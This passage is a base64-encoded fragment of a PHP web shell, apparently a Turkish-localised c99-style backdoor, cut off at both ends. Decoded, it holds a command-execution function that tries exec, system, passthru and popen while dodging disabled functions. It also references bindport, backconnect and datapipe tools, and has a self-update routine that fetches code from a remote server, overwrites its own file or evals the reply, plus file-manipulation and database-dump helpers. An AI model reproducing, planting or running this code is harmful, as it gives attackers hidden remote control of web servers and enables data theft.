VhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJkaXIpOw0KaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBhc2hzaF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsgZXhpdDt9DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpDQp7DQogJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImFzaF9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGFzaF9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYXNoX2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImFzaF9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYXNoX3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYXNoX2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30NCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gZmFsc2U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiB0cnVlOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSB0cnVlOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBmYWxzZTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gdHJ1ZTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBmYWxzZTt9DQogfQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAkcmVzdWx0ID0gIiI7DQogaWYgKCFlbXB0eSgkY21kKSkNCiB7DQogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gZmFsc2UpIHt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lzdGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkNCiAgew0KICAgJHJlc3VsdCA9ICIiOw0KICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30NCiAgIHBjbG9zZSgkZnApOw0KICB9DQogfQ0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkge2Z1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQ0KIGVsc2UgeyR0eXBlID0gIj8iO30NCg0KICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7DQogJG93bmVyWyJVeWd1bGFuYW1hZGkhIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsNCiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOw0KICRncm91cFsiVXlndWxhbmFtYWRpISJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7DQogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7DQogJHdvcmxkWyJVeWd1bGFuYW1hZGkhIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsNCg0KIGlmICgkbW9kZSAmIDB4ODAwKSB7JG93bmVyWyJVeWd1bGFuYW1hZGkhIl0gPSAoJG93bmVyWyJVeWd1bGFuYW1hZGkhIl0gPT0gIngiKT8icyI6IlMiO30NCiBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiVXlndWxhbmFtYWRpISJdID0gKCRncm91cFsiVXlndWxhbmFtYWRpISJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbIlV5Z3VsYW5hbWFkaSEiXSA9ICgkd29ybGRbIlV5Z3VsYW5hbWFkaSEiXSA9PSAieCIpPyJ0IjoiVCI7fQ0KDQogcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkdWlkKSB7cmV0dXJuIGZhbHNlO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gZmFsc2U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBmYWxzZTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHQgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KIGVsc2UgeyR0ID0gIj8iO30NCiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogJHdbInIiXSA9ICgkbW9kZSAmIDAwMDA0KSA+IDA7ICR3WyJ3Il0gPSAoJG1vZGUgJiAwMDAwMikgPiAwOyAkd1sieCJdID0gKCRtb2RlICYgMDAwMDEpID4gMDsNCiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpDQp7DQpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpDQp7DQogJG9uZSA9IGludHZhbCgkc29ydCk7DQogJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9DQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCnsNCiBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJhc2hnZXRzb3VyY2UiKSkNCnsNCmZ1bmN0aW9uIGFzaGdldHNvdXJjZSgkZm4pDQp7DQogZ2xvYmFsICRhc2hzaF9zb3VyY2VzdXJsOw0KICRhcnJheSA9IGFycmF5KA0KICAiYXNoc2hfYmluZHBvcnQucGwiID0+ICJhc2hzaF9iaW5kcG9ydF9wbC50eHQiLA0KICAiYXNoc2hfYmluZHBvcnQuYyIgPT4gImFzaHNoX2JpbmRwb3J0X2MudHh0IiwNCiAgImFzaHNoX2JhY2tjb25uLnBsIiA9PiAiYXNoc2hfYmFja2Nvbm5fcGwudHh0IiwNCiAgImFzaHNoX2JhY2tjb25uLmMiID0+ICJhc2hzaF9iYWNrY29ubl9jLnR4dCIsDQogICJhc2hzaF9kYXRhcGlwZS5wbCIgPT4gImFzaHNoX2RhdGFwaXBlX3BsLnR4dCIsDQogICJhc2hzaF9kYXRhcGlwZS5jIiA9PiAiYXNoc2hfZGF0YXBpcGVfYy50eHQiLA0KICk7DQogJG5hbWUgPSAkYXJyYXlbJGZuXTsNCiBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGFzaHNoX3NvdXJjZXN1cmwuJG5hbWUpO30NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImFzaHNoX2dldHVwZGF0ZSIpKQ0Kew0KZnVuY3Rpb24gYXNoc2hfZ2V0dXBkYXRlKCR1cGRhdGUgPSB0cnVlKQ0Kew0KICR1cmwgPSAkR0xPQkFMU1siYXNoc2hfdXBkYXRldXJsIl0uIj92ZXJzaW9uPSIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbInNodmVyIl0pKS4iJnVwZGF0ZW5vdz0iLigkdXBkYXRlbm93PyIxIjoiMCIpLiImIjsNCiAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiBpZiAoISRkYXRhKSB7cmV0dXJuICJTZXJ2ZXIgZ3VuY2VsbGVzdGlybWUgYmFnbGFuYW1hZGkhIjt9DQogZWxzZQ0KIHsNCiAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7DQogICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsNCiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDEiKSB7cmV0dXJuICJIYXR0YTogIi4kc3RyaW5nOyByZXR1cm4gZmFsc2U7fQ0KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMiIpIHtyZXR1cm4gIkVuIHNvbiBndW5jZWxsZXN0aXJtZXlpIGt1bGxhbml5b3N1biEiO30NCiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDMiKQ0KICB7DQogICAkc3RyaW5nID0gZXhwbG9kZSgiXHgwMSIsJHN0cmluZyk7DQogICBpZiAoJHVwZGF0ZSkNCiAgIHsNCiAgICAkY29uZnZhcnMgPSBhcnJheSgpOw0KICAgICRzb3VyY2V1cmwgPSAkc3RyaW5nWzBdOw0KICAgICRzb3VyY2UgPSBmaWxlX2dldF9jb250ZW50cygkc291cmNldXJsKTsNCiAgICBpZiAoISRzb3VyY2UpIHtyZXR1cm4gIkNhbid0IGZldGNoIHVwZGF0ZSEiO30NCiAgICBlbHNlDQogICAgew0KICAgICAkZnAgPSBmb3BlbihfX0ZJTEVfXywidyIpOw0KICAgICBpZiAoISRmcCkge3JldHVybiAiWWVyZWwgSGF0YTogR3VuY2VsZXN0aXJtZSB5YXppbGFtYWRpIi5fX0ZJTEVfXy4iISBTZW4gU3B5aGFja2Vyei5jb20gZ2lyaXAgYmlyc2V5bGVyID9ncmVuZWJpbGlyc2luLiA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9DQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9zZSgkZnApOyByZXR1cm4gIlRlc2Vra3VybGVyIEd1bmNlbGxlbmRpISI7fQ0KICAgIH0NCiAgIH0NCiAgIGVsc2Uge3JldHVybiAiWWVuaSBWZXJzaXlvbiBidWx1bmR1OiAiLiRzdHJpbmdbMV07fQ0KICB9DQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9DQogIGVsc2Uge3JldHVybiAicHJvdG9jb2wgaGF0YTogYm9sdW0gZW5nZWxsZW5kaSEgKCIuJGRhdGEuIikgIjt9DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2R1bXAiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2R1bXAoJHNldCkNCnsNCiBnbG9iYWwgJHNodmVyOw0KICRzb2NrID0gJHNldFsic29jayJdOw0KICRkYiA9ICRzZXRbImRiIl07DQogJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAkbmwyYnIgPSAkc2V0WyJubDJiciJdOw0KICRmaWxlID0gJHNldFsiZmlsZSJdOw0KICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogJHRhYnMgPSAkc2V0WyJ0YWJzIl07DQogJG9ubHl0YWJzID0gJHNldFsib25seXRhYnMiXTsNCiAkcmV0ID0gYXJyYXkoKTsNCiAkcmV0WyJlcnIiXSA9IGFycmF5KCk7DQogaWYgKCFpc19yZXNvdXJjZSgkc29jaykpIHtlY2hvKCJIYXRhOiBcJHNvY2sgRG9ncnVsYW1hZGkiKTt9DQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiBpZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQ0KIGlmIChlbXB0eSgkbmwyYnIpKSB7JG5sMmJyID0gMDt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSB0cnVlO30NCiBpZiAoZW1wdHkoJGZpbGUpKQ0KIHsNCiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KIH0NCiBpZiAoIWl